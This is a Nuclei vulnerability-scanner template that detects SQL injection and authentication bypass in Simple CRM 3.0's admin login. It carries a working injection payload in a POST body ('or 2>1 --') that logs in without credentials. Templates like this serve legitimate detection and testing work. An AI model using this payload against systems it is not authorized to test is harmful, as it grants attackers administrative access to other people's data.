id: simple-crm-sql-injection

info:
  name: Simple CRM 3.0 SQL Injection and Authentication Bypass
  author: geeknik
  severity: critical
  description: Simple CRM 3.0 is susceptible to SQL injection and authentication bypass vulnerabilities.
  reference:
    - https://packetstormsecurity.com/files/163254/simplecrm30-sql.txt
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-89
  metadata:
    max-request: 1
  tags: packetstorm,sqli,simplecrm,auth-bypass,injection,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/scrm/crm/admin"

    body: "email='+or+2>1+--+&password=&login="

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<script>window.location.href='home.php'</script>"
        part: body

      - type: word
        words:
          - "text/html"
        part: header
# digest: 4a0a00473045022012fa6921b49a7ef097990437bf9782dab792490aff0f3ab3d2bcf9b796e15042022100b0220de956a95fc3039b7abdd0961730aae67311836417d4f07b32ac570dccb3:922c64590222798bb761d5b6d8e72950